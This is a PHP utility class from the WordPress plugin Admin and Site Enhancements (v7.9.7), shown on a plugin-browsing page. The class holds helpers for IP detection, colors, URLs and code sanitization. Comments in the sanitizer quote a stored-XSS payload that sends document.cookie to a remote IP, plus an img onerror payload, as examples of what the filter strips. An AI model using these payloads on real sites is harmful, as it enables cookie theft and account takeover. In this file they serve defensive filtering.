PluginProbe ʕ •ᴥ•ʔ
Admin and Site Enhancements (ASE) / 7.9.7
Admin and Site Enhancements (ASE) v7.9.7
9.1.0 9.0.2 9.0.1 9.0.0 8.9.2 8.9.1 8.9.0 8.8.8 8.8.7 8.8.6 8.8.5 8.8.4 8.8.3 8.8.2 8.8.1 8.8.0 8.7.3 8.7.2 8.7.1 8.2.1 8.2.2 8.2.3 8.3.0 8.3.1 8.3.2 8.4.0 8.4.1 8.4.2 8.5.0 8.5.1 8.5.2 8.6.0 8.6.1 8.6.2 8.7.0 5.0.1 5.0.2 5.0.2.1 5.0.2.2 5.0.2.3 5.0.2.4 5.1.0 5.2.0 5.2.1 5.2.10 5.2.11 5.2.2 5.2.3 5.2.4 5.2.5 5.2.6 5.2.7 5.2.8 5.2.9 5.3.0 5.3.1 5.3.2 5.4.0 5.4.1 5.5.0 5.5.1 5.5.2 5.6.0 5.6.1 5.6.2 5.7.0 5.7.1 5.8.0 5.8.1 6.0.0 6.0.3 6.0.4 6.0.5 6.0.5.1 6.0.6 6.0.7 6.0.8.1 6.1.0 6.1.3 6.2.0 6.2.1 6.2.2 6.2.3 6.2.4 6.2.5 6.2.6 6.2.7 6.3.0 6.3.1 6.3.2 6.4.0 6.5.0 6.5.1 6.6.0 6.7.0 6.8.0 6.8.2 6.8.3 6.9.0 6.9.1 6.9.10 6.9.11 6.9.12 6.9.13.1 6.9.13.2 6.9.2 6.9.3 6.9.4 6.9.5 6.9.6 6.9.7 6.9.8 6.9.9 7.0.0 7.0.2 7.0.2.1 7.0.2.2 7.0.2.3 7.0.3 7.1.0 7.1.1 7.1.2 7.1.3 7.1.4 7.1.5 7.2.0 7.2.1 7.3.0 7.3.1 7.3.2 7.3.3 7.4.0 7.4.2 7.4.4 7.4.5 7.4.6 7.4.7 7.4.8 7.5.0 7.5.1 7.5.2 7.5.3 7.5.4 7.6.0 7.6.1 7.6.1.1 7.6.10 7.6.11 7.6.2 7.6.3 7.6.4 7.6.5 7.6.6 7.6.7 7.6.7.1 7.6.8 7.6.9 7.7.0 7.8.0 7.8.1 7.8.10 7.8.11 7.8.12 7.8.13 7.8.14 7.8.15 7.8.16 7.8.17 7.8.18 7.8.2 7.8.3 7.8.4 7.8.5 7.8.5.1 7.8.6 7.8.7 7.8.8 7.8.9 7.9.0 7.9.1 7.9.10 7.9.11 7.9.2 7.9.3 7.9.4 7.9.5 7.9.6 7.9.7 7.9.8 7.9.9 8.0.0 8.0.1 8.0.2 8.0.3 8.0.4 8.0.5 8.0.6 8.0.7 8.0.8 8.1.0 8.1.1 8.1.2 8.1.3 8.1.4 8.2.0 trunk 1.0.0 1.1.0 1.2.0 1.3.0 1.4.0 1.5.0 1.6.0 1.7.0 1.8.0 1.9.0 2.0.0 2.1.0 2.2.0 2.3.0 2.4.0 2.5.0 2.6.0 2.7.0 2.8.0 2.8.1 2.8.2 2.8.3 2.9.0 3.0.0 3.0.1 3.0.2 3.0.3 3.0.4 3.0.5 3.0.6 3.1.0 3.2.0 3.3.0 3.4.0 3.5.0 3.6.1 3.7.0 3.8.0 3.9.0 3.9.1 3.9.2 4.0.0 4.0.1 4.1.0 4.2.0 4.2.1 4.2.2 4.3.0 4.3.1 4.4.0 4.5.0 4.6.0 4.7.0 4.7.1 4.7.2 4.7.3 4.7.4 4.8.0 4.8.1 4.8.2 4.8.3 4.9.0 4.9.1 4.9.2 4.9.3 5.0.0
admin-site-enhancements / classes / class-common-methods.php
admin-site-enhancements / classes Last commit date
class-activation.php 1 year ago class-admin-menu-organizer.php 1 year ago class-auto-publish-posts-with-missed-schedule.php 1 year ago class-avif-upload.php 1 year ago class-captcha-protection.php 1 year ago class-change-login-url.php 1 year ago class-cleanup-admin-bar.php 1 year ago class-common-methods.php 1 year ago class-content-duplication.php 1 year ago class-content-order.php 1 year ago class-custom-admin-footer-text.php 1 year ago class-custom-body-class.php 1 year ago class-custom-css.php 1 year ago class-custom-nav-menu-items-in-new-tab.php 1 year ago class-deactivation.php 1 year ago class-disable-author-archives.php 1 year ago class-disable-comments.php 1 year ago class-disable-dashboard-widgets.php 1 year ago class-disable-feeds.php 1 year ago class-disable-gutenberg.php 1 year ago class-disable-rest-api.php 1 year ago class-disable-smaller-components.php 1 year ago class-disable-updates.php 1 year ago class-disable-xml-rpc.php 1 year ago class-display-system-summary.php 1 year ago class-email-address-obfuscator.php 1 year ago class-email-delivery.php 1 year ago class-enhance-list-tables.php 1 year ago class-external-permalinks.php 1 year ago class-heartbeat-control.php 1 year ago class-hide-admin-bar.php 1 year ago class-hide-admin-notices.php 1 year ago class-image-sizes-panel.php 1 year ago class-image-upload-control.php 1 year ago class-insert-head-body-footer-code.php 1 year ago class-last-login-column.php 1 year ago class-limit-login-attempts.php 1 year ago class-login-id-type.php 1 year ago class-login-logout-menu.php 1 year ago class-maintenance-mode.php 1 year ago class-manage-ads-appads-txt.php 1 year ago class-manage-robots-txt.php 1 year ago class-media-replacement.php 1 year ago class-multiple-user-roles.php 1 year ago class-obfuscate-author-slugs.php 1 year ago class-open-external-links-in-new-tab.php 1 year ago class-password-protection.php 1 year ago class-redirect-after-login.php 1 year ago class-redirect-after-logout.php 1 year ago class-redirect-fourofour.php 1 year ago class-registration-date-column.php 1 year ago class-revisions-control.php 1 year ago class-search-engines-visibility.php 1 year ago class-settings-fields-render.php 1 year ago class-settings-sanitization.php 1 year ago class-settings-sections-fields.php 1 year ago class-show-custom-taxonomy-filters.php 1 year ago class-site-identity-on-login-page.php 1 year ago class-svg-upload.php 1 year ago class-various-admin-ui-enhancements.php 1 year ago class-view-admin-as-role.php 1 year ago class-wider-admin-menu.php 1 year ago class-wp-config-transformer.php 1 year ago
class-common-methods.php
583 lines
1 <?php
2
3 namespace ASENHA\Classes;
4
5 use WP_Query;
6 /**
7 * Class that provides common methods used throughout the plugin
8 *
9 * @since 2.5.0
10 */
11 class Common_Methods {
12 /**
13 * Get IP of the current visitor/user. In use by at least the Limit Login Attempts feature.
14 * This takes a best guess of the visitor's actual IP address.
15 * Takes into account numerous HTTP proxy headers due to variations
16 * in how different ISPs handle IP addresses in headers between hops.
17 *
18 * @link https://stackoverflow.com/q/1634782
19 * @since 2.5.0
20 */
21 public function get_user_ip_address( $return_type = 'ip', $for_which_module = 'limit-login-attempts' ) {
22 $options = get_option( ASENHA_SLUG_U, array() );
23 $ip_address_header = '';
24 switch ( $for_which_module ) {
25 case 'limit-login-attempts':
26 $ip_address_header = ( isset( $options['limit_login_attempts_header_override'] ) ? trim( $options['limit_login_attempts_header_override'] ) : '' );
27 break;
28 case 'password-protection':
29 $ip_address_header = ( isset( $options['password_protection_header_override'] ) ? trim( $options['password_protection_header_override'] ) : '' );
30 break;
31 }
32 // Attempt to get IP address with the preferred header
33 if ( !empty( $ip_address_header ) && isset( $_SERVER[$ip_address_header] ) ) {
34 // Check if multiple IP addresses exist in var
35 $ip_list = explode( ',', $_SERVER[$ip_address_header] );
36 if ( is_array( $ip_list ) && count( $ip_list ) > 1 ) {
37 foreach ( $ip_list as $ip ) {
38 switch ( $return_type ) {
39 case 'ip':
40 if ( $this->is_ip_valid( trim( $ip ) ) ) {
41 return sanitize_text_field( trim( $ip ) );
42 } else {
43 return '0.0.0.0';
44 // placeholder IP address
45 }
46 break;
47 case 'header':
48 return $ip_address_header . ' (multiple IP addresses)';
49 break;
50 }
51 }
52 } else {
53 switch ( $return_type ) {
54 case 'ip':
55 if ( $this->is_ip_valid( trim( $_SERVER[$ip_address_header] ) ) ) {
56 return sanitize_text_field( $_SERVER[$ip_address_header] );
57 } else {
58 return '0.0.0.0';
59 // placeholder IP address
60 }
61 break;
62 case 'header':
63 return $ip_address_header;
64 break;
65 }
66 }
67 }
68 // The following request headers can be modified by user or attacker when sending a request, so, will bypass an already blocked IP
69 // 'HTTP_CLIENT_IP', 'CF_CONNECTING_IP', 'HTTP_CF_CONNECTING_IP', 'HTTP_CF_CONNECTING_IP', 'TRUE_CLIENT_IP', 'HTTP_TRUE_CLIENT_IP', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED'
70 // Reported as security vulnerability in ASE <= v7.6.7.1 -- Limit Login Attempt Bypass via IP Spoofing
71 // Return unreliable but unspoofable IP address coming from the $_SERVER global as the default / fallback
72 switch ( $return_type ) {
73 case 'ip':
74 if ( $this->is_ip_valid( trim( $_SERVER['REMOTE_ADDR'] ) ) ) {
75 return sanitize_text_field( $_SERVER['REMOTE_ADDR'] );
76 } else {
77 return '0.0.0.0';
78 // placeholder IP address
79 }
80 break;
81 case 'header':
82 return 'REMOTE_ADDR';
83 break;
84 }
85 }
86
87 /**
88 * Check if the supplied IP address is valid or not
89 *
90 * @param string $ip an IP address
91 * @link https://stackoverflow.com/q/1634782
92 * @return boolean true if supplied address is valid IP, and false otherwise
93 */
94 public function is_ip_valid( $ip ) {
95 if ( empty( $ip ) ) {
96 return false;
97 }
98 // Ref: https://www.php.net/manual/en/filter.filters.validate.php
99 // Ref: https://www.php.net/manual/en/filter.constants.php#constant.filter-validate-ip
100 // No need to specify which IP type to filter/check, e.g. filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 )
101 // This should check for both IPv4 and IPv6 addresses
102 if ( false === filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 ) && false === filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6 ) ) {
103 return false;
104 }
105 if ( false !== filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 ) || false !== filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6 ) ) {
106 return true;
107 }
108 }
109
110 /**
111 * Convert number of seconds into hours, minutes, seconds. In use by at least the Limit Login Attempts feature.
112 *
113 * @since 2.5.0
114 */
115 public function seconds_to_period( $seconds, $conversion_type ) {
116 $period_start = new \DateTime('@0');
117 $period_end = new \DateTime("@{$seconds}");
118 if ( $conversion_type == 'to-days-hours-minutes-seconds' ) {
119 return $period_start->diff( $period_end )->format( '%a days, %h hours, %i minutes and %s seconds' );
120 } elseif ( $conversion_type == 'to-hours-minutes-seconds' ) {
121 return $period_start->diff( $period_end )->format( '%h hours, %i minutes and %s seconds' );
122 } elseif ( $conversion_type == 'to-minutes-seconds' ) {
123 return $period_start->diff( $period_end )->format( '%i minutes and %s seconds' );
124 } else {
125 return $period_start->diff( $period_end )->format( '%a days, %h hours, %i minutes and %s seconds' );
126 }
127 }
128
129 /**
130 * Remove html tags and content inside the tags from a string
131 *
132 * @since 3.0.3
133 */
134 public function strip_html_tags_and_content( $string ) {
135 // Strip HTML tags and content inside them. Ref: https://stackoverflow.com/a/39320168
136 if ( !is_null( $string ) ) {
137 if ( false === strpos( $string, 'fs-submenu-item' ) ) {
138 $string = preg_replace( '@<(\\w+)\\b.*?>.*?</\\1>@si', '', $string );
139 }
140 // Strip any remaining HTML or PHP tags
141 $string = strip_tags( $string );
142 }
143 return $string;
144 }
145
146 /**
147 * Get menu hidden by toggle
148 *
149 * @since 5.1.0
150 */
151 public function get_menu_hidden_by_toggle() {
152 $menu_hidden_by_toggle = array();
153 $options_extra = get_option( ASENHA_SLUG_U . '_extra', array() );
154 $options = ( isset( $options_extra['admin_menu'] ) ? $options_extra['admin_menu'] : array() );
155 if ( array_key_exists( 'custom_menu_hidden', $options ) ) {
156 $menu_hidden = $options['custom_menu_hidden'];
157 $menu_hidden = explode( ',', $menu_hidden );
158 $menu_hidden_by_toggle = array();
159 foreach ( $menu_hidden as $menu_id ) {
160 $menu_hidden_by_toggle[] = $this->restore_menu_item_id( $menu_id );
161 }
162 }
163 return $menu_hidden_by_toggle;
164 }
165
166 /**
167 * Get user capabilities for which the "Show All/Less" menu toggle should be shown for
168 *
169 * @since 5.1.0
170 */
171 public function get_user_capabilities_to_show_menu_toggle_for() {
172 global $menu, $submenu;
173 $menu_always_hidden = array();
174 $user_capabilities_menus_are_hidden_for = array();
175 $menu_hidden_by_toggle = $this->get_menu_hidden_by_toggle();
176 // indexed array
177 foreach ( $menu as $menu_key => $menu_info ) {
178 foreach ( $menu_hidden_by_toggle as $hidden_menu_id ) {
179 if ( false !== strpos( $menu_info[4], 'wp-menu-separator' ) ) {
180 $menu_item_id = $menu_info[2];
181 } else {
182 $menu_item_id = $menu_info[5];
183 }
184 if ( $menu_item_id == $hidden_menu_id ) {
185 $user_capabilities_menus_are_hidden_for[] = $menu_info[1];
186 }
187 }
188 }
189 $user_capabilities_menus_are_hidden_for = array_unique( $user_capabilities_menus_are_hidden_for );
190 return $user_capabilities_menus_are_hidden_for;
191 // indexed array
192 }
193
194 /**
195 * Transform menu item's ID
196 *
197 * @since 5.1.0
198 */
199 public function transform_menu_item_id( $menu_item_id ) {
200 // Transform e.g. edit.php?post_type=page ==> edit__php___post_type____page
201 $menu_item_id_transformed = str_replace( array(
202 ".",
203 "?",
204 "=/",
205 "=",
206 "&",
207 "/"
208 ), array(
209 "__",
210 "___",
211 "_______",
212 "____",
213 "_____",
214 "______"
215 ), $menu_item_id );
216 return $menu_item_id_transformed;
217 }
218
219 /**
220 * Transform menu item's ID
221 *
222 * @since 5.1.0
223 */
224 public function restore_menu_item_id( $menu_item_id_transformed ) {
225 // Transform e.g. edit__php___post_type____page ==> edit.php?post_type=page
226 $menu_item_id = str_replace( array(
227 "_______",
228 "______",
229 "_____",
230 "____",
231 "___",
232 "__"
233 ), array(
234 "=/",
235 "/",
236 "&",
237 "=",
238 "?",
239 "."
240 ), $menu_item_id_transformed );
241 return $menu_item_id;
242 }
243
244 /**
245 * Sanitize hexedecimal numbers used for colors
246 *
247 * @link https://plugins.trac.wordpress.org/browser/bm-custom-login/trunk/bm-custom-login.php
248 * @param string $color Hex number to sanitize.
249 * @return string
250 */
251 public function sanitize_hex_color( $color ) {
252 if ( '' === $color ) {
253 return '';
254 }
255 // Make sure the color starts with a hash.
256 $color = '#' . ltrim( $color, '#' );
257 // 3 or 6 hex digits, or the empty string.
258 if ( preg_match( '|^#([A-Fa-f0-9]{3}){1,2}$|', $color ) ) {
259 return $color;
260 }
261 return null;
262 }
263
264 /**
265 * Get the post ID of the most recent post in a custom post type
266 *
267 * @since 6.4.1
268 */
269 public function get_most_recent_post_id( $post_type ) {
270 $args = array(
271 'post_type' => $post_type,
272 'posts_per_page' => 1,
273 'orderby' => 'date',
274 'order' => 'DESC',
275 );
276 $query = new WP_Query($args);
277 if ( $query->have_posts() ) {
278 $query->the_post();
279 $post_id = get_the_ID();
280 wp_reset_postdata();
281 return $post_id;
282 }
283 return 0;
284 // Return 0 if no posts found
285 }
286
287 /**
288 * Extended ruleset for wp_kses() that includes SVG tag and it's children
289 *
290 * @since 6.8.3
291 */
292 public function get_kses_extended_ruleset() {
293 $kses_defaults = wp_kses_allowed_html( 'post' );
294 // For SVG icons
295 $svg_args = array(
296 'svg' => array(
297 'class' => true,
298 'aria-hidden' => true,
299 'aria-labelledby' => true,
300 'role' => true,
301 'xmlns' => true,
302 'width' => true,
303 'height' => true,
304 'viewbox' => true,
305 'viewBox' => true,
306 ),
307 'g' => array(
308 'fill' => true,
309 'fill-rule' => true,
310 'stroke' => true,
311 'stroke-width' => true,
312 'stroke-linejoin' => true,
313 'stroke-linecap' => true,
314 ),
315 'title' => array(
316 'title' => true,
317 ),
318 'path' => array(
319 'd' => true,
320 'fill' => true,
321 'stroke' => true,
322 'stroke-width' => true,
323 'stroke-linejoin' => true,
324 'stroke-linecap' => true,
325 ),
326 'rect' => array(
327 'width' => true,
328 'height' => true,
329 'x' => true,
330 'y' => true,
331 'rx' => true,
332 'ry' => true,
333 'fill' => true,
334 'stroke' => true,
335 'stroke-width' => true,
336 'stroke-linejoin' => true,
337 'stroke-linecap' => true,
338 ),
339 'circle' => array(
340 'cx' => true,
341 'cy' => true,
342 'r' => true,
343 'stroke' => true,
344 'stroke-width' => true,
345 'stroke-linejoin' => true,
346 'stroke-linecap' => true,
347 ),
348 );
349 $kses_with_extras = array_merge( $kses_defaults, $svg_args );
350 // For embedded PDF viewer
351 $style_script_args = array(
352 'style' => true,
353 'script' => array(
354 'src' => true,
355 ),
356 );
357 return array_merge( $kses_with_extras, $style_script_args );
358 }
359
360 /**
361 * Get the singular label from a $post object
362 *
363 * @since 6.9.3
364 */
365 function get_post_type_singular_label( $post ) {
366 $post_type_singular_label = '';
367 if ( property_exists( $post, 'post_type' ) ) {
368 $post_type_object = get_post_type_object( $post->post_type );
369 if ( is_object( $post_type_object ) && property_exists( $post_type_object, 'label' ) ) {
370 $post_type_singular_label = $post_type_object->labels->singular_name;
371 }
372 }
373 return $post_type_singular_label;
374 }
375
376 function is_in_block_editor() {
377 $current_screen = get_current_screen();
378 if ( method_exists( $current_screen, 'is_block_editor' ) && $current_screen->is_block_editor() ) {
379 return true;
380 } else {
381 return false;
382 }
383 }
384
385 /**
386 * Check if WooCommerce is active
387 *
388 * @since 6.9.9
389 */
390 public function is_woocommerce_active() {
391 if ( function_exists( 'is_plugin_active' ) && is_plugin_active( 'woocommerce/woocommerce.php' ) ) {
392 return true;
393 } else {
394 return false;
395 }
396 }
397
398 /**
399 * Convert HEX color to RGBA
400 *
401 * @link https://stackoverflow.com/a/31934345
402 * @since 7.0.0
403 */
404 public function hex_to_rgba( $hex, $alpha = false ) {
405 $hex = str_replace( '#', '', trim( $hex ) );
406 $length = strlen( $hex );
407 $rgb['r'] = hexdec( ( $length == 6 ? substr( $hex, 0, 2 ) : (( $length == 3 ? str_repeat( substr( $hex, 0, 1 ), 2 ) : 0 )) ) );
408 $rgb['g'] = hexdec( ( $length == 6 ? substr( $hex, 2, 2 ) : (( $length == 3 ? str_repeat( substr( $hex, 1, 1 ), 2 ) : 0 )) ) );
409 $rgb['b'] = hexdec( ( $length == 6 ? substr( $hex, 4, 2 ) : (( $length == 3 ? str_repeat( substr( $hex, 2, 1 ), 2 ) : 0 )) ) );
410 if ( false !== $alpha ) {
411 $rgb['a'] = $alpha;
412 }
413 // Return array of r, g, b and a
414 // return $rgb;
415 // Return rgb(255,255,255) or rgba(255,255,255,.5)
416 return implode( array_keys( $rgb ) ) . '(' . implode( ', ', $rgb ) . ')';
417 }
418
419 /**
420 * Increases or decreases the brightness of a color by a percentage of the current brightness.
421 *
422 * @param string $hex Supported formats: `#FFF`, `#FFFFFF`, `FFF`, `FFFFFF`
423 * @param float $adjustment_percentage A number between -1 and 1. E.g. 0.3 = 30% lighter; -0.4 = 40% darker.
424 *
425 * @return string
426 *
427 * @link https://stackoverflow.com/a/54393956
428 * @author maliayas
429 */
430 function adjust_bnrightness( $hex, $adjustment_percentage ) {
431 $hex = ltrim( $hex, '#' );
432 if ( strlen( $hex ) == 3 ) {
433 $hex = $hex[0] . $hex[0] . $hex[1] . $hex[1] . $hex[2] . $hex[2];
434 }
435 $hex = array_map( 'hexdec', str_split( $hex, 2 ) );
436 foreach ( $hex as &$color ) {
437 $adjustableLimit = ( $adjustment_percentage < 0 ? $color : 255 - $color );
438 $adjustAmount = ceil( $adjustableLimit * $adjustment_percentage );
439 $color = str_pad(
440 dechex( $color + $adjustAmount ),
441 2,
442 '0',
443 STR_PAD_LEFT
444 );
445 }
446 return '#' . implode( $hex );
447 }
448
449 /**
450 * Detect if a color is light or dark
451 *
452 * @link https://stackoverflow.com/a/12228730
453 * @since 7.0.0
454 */
455 public function is_color_dark( $hex ) {
456 $hex = str_replace( '#', '', trim( $hex ) );
457 $r = hexdec( $hex[0] . $hex[1] );
458 $g = hexdec( $hex[2] . $hex[3] );
459 $b = hexdec( $hex[4] . $hex[5] );
460 $lightness = (max( $r, $g, $b ) + min( $r, $g, $b )) / 510.0;
461 // HSL algorithm
462 if ( $lightness > 0.8 ) {
463 return false;
464 } else {
465 return true;
466 }
467 }
468
469 /**
470 * Return SVG for small triangle in place of using &#9654; HTMl character
471 * which may be converted to emoticon by the browser or app
472 *
473 * @since 7.2.0
474 */
475 public function get_svg_triangle() {
476 return '<svg xmlns="http://www.w3.org/2000/svg" width="10" height="10" viewBox="0 0 16 16"><path fill="currentColor" d="M14.222 6.687a1.5 1.5 0 0 1 0 2.629l-10 5.499A1.5 1.5 0 0 1 2 13.5V2.502a1.5 1.5 0 0 1 2.223-1.314z"/></svg>';
477 }
478
479 /**
480 * Get an image URL from an ASE setting field, which could be an internal relative URL or an external URL
481 *
482 * @since 7.2.1
483 */
484 public function get_image_url( $ase_settings_field_name ) {
485 $options = get_option( ASENHA_SLUG_U, array() );
486 if ( isset( $options[$ase_settings_field_name] ) ) {
487 if ( false === strpos( $options[$ase_settings_field_name], 'http' ) && false !== strpos( $options[$ase_settings_field_name], '/uploads/' ) ) {
488 $logo_image = content_url() . $options[$ase_settings_field_name];
489 } else {
490 // $maybe_valid_url = filter_var( $options['admin_logo_image'], FILTER_SANITIZE_URL );
491 $maybe_valid_url = sanitize_url( $options[$ase_settings_field_name], array('http', 'https') );
492 if ( false !== filter_var( $maybe_valid_url, FILTER_VALIDATE_URL ) ) {
493 $logo_image = $maybe_valid_url;
494 } else {
495 $logo_image = '';
496 }
497 }
498 } else {
499 $logo_image = '';
500 }
501 return $logo_image;
502 }
503
504 /**
505 * Get current URL, without query parameters and without trailing slash
506 * e.g. https://www.site.com/some-page
507 *
508 * @return string
509 */
510 public function get_current_url() {
511 $output = '';
512 $url = (( is_ssl() ? 'https://' : 'http://' )) . sanitize_text_field( $_SERVER['HTTP_HOST'] ) . sanitize_text_field( $_SERVER['REQUEST_URI'] );
513 $url_parts = explode( '?', $url, 2 );
514 // limit to max of 2 elements with last element containing the rest of the string
515 if ( isset( $url_parts[0] ) ) {
516 $output = trim( $url_parts[0], '/' );
517 }
518 return ( $output ? urldecode( $output ) : '/' );
519 }
520
521 /**
522 * Get full URL, with query parameters
523 * e.g. https://www.site.com/some-page?param=value
524 *
525 * @link https://stackoverflow.com/a/6768831
526 * @since 7.8.18
527 */
528 public function get_full_url() {
529 $full_url = (( empty( $_SERVER['HTTPS'] ) ? 'http' : 'https' )) . "://{$_SERVER['HTTP_HOST']}{$_SERVER['REQUEST_URI']}";
530 return $full_url;
531 }
532
533 /**
534 * Get array of elements with value of true
535 *
536 * @since 7.6.10
537 */
538 public function get_array_of_keys_with_true_value( $array_with_true_false_values ) {
539 $array_of_keys_with_true_value = array();
540 if ( is_array( $array_with_true_false_values ) && count( $array_with_true_false_values ) > 0 ) {
541 foreach ( $array_with_true_false_values as $key => $value ) {
542 if ( $value ) {
543 $array_of_keys_with_true_value[] = $key;
544 }
545 }
546 return $array_of_keys_with_true_value;
547 } else {
548 return array();
549 // default, empty array
550 }
551 }
552
553 /**
554 * Sanitize user-submitted code from potential security vulnerabilities
555 *
556 * @since 7.8.7
557 */
558 public function sanitize_html_js_css_code( $code ) {
559 $code_lines = explode( PHP_EOL, $code );
560 $sanitized_code_lines = array();
561 foreach ( $code_lines as $code_line ) {
562 if ( false !== strpos( $code_line, 'src=' ) && false !== strpos( $code_line, 'document.cookie' ) ) {
563 // Do nothing. Do not include the code line in the sanitized code.
564 // Example of malicious code:
565 // 1. Stored XSS vulnerability: <script>new Image().src='http://10.5.7.89:8001/index.php?c='+document.cookie</script>
566 // This line of code will send cookies from users browser to a remote server for exploitation
567 } else {
568 if ( false !== strpos( $code_line, '<img' ) && false !== strpos( $code_line, 'src=' ) && false !== strpos( $code_line, 'onerror' ) ) {
569 // Do nothing. Do not include the code line in the sanitized code.
570 // Example of malicious code:
571 // 1. Stored XSS vulnerability: <img src=x onerror=alert(1)>
572 // This may entail account takeover backdoor
573 } else {
574 $sanitized_code_lines[] = $code_line;
575 }
576 }
577 }
578 $sanitized_code = implode( PHP_EOL, $sanitized_code_lines );
579 return $sanitized_code;
580 }
581
582 }
583